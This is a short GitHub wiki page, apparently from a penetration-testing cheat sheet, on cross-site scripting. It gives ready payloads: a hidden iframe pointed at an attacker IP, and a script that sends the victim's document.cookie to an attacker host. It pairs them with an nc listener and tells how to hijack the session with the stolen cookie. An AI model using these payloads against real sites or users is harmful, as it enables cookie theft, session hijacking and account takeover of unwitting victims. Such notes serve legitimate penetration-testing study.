Skip to content

Web_XSS

lethanhtung01011980 edited this page Dec 11, 2019 · 5 revisions

Goals

  • To attack on non-validated user input.

Check XSS

To enter scripts into user inputs

  • Local XSS: <script>Hi</script>
  • Browser redirection: <iframe SRC="http://Attacker_IP/report" height = "0" width ="0"></iframe>

To listen to remote connection from browser redirection

  • In attacker machine, nc -nlvp 80

Steal cookies

No need to have a bogus.php page

  • nc -nlvp 80
  • <script>new Image().src="http://Attacker_ip/bogus.php?output="+document.cookie;</script>
  • Use Cookies Manager+ to open victim website with stolen cookie. image

Sidebar

0. COMMON exploits

1. Scan Info

1.2 Passive Gathering

1.3 Active Gathering

2. Pre-attack

2.2 File transfer

3. Get Reverse Shell

4. Exploits

4.2 Windows Exploits

4.3 Linux Exploits

4.4 Password crack

4.5 Buffer Overflow

4.6 Web attacks

6. Escalate Privilege

6.1 Escalate in Windows

6.2 Escalate in Linux

7. Access and further attacks

8. Port redirection and Tunnelling

9. Metasploit

10. Kali

11. Thirdparty scripts

Clone this wiki locally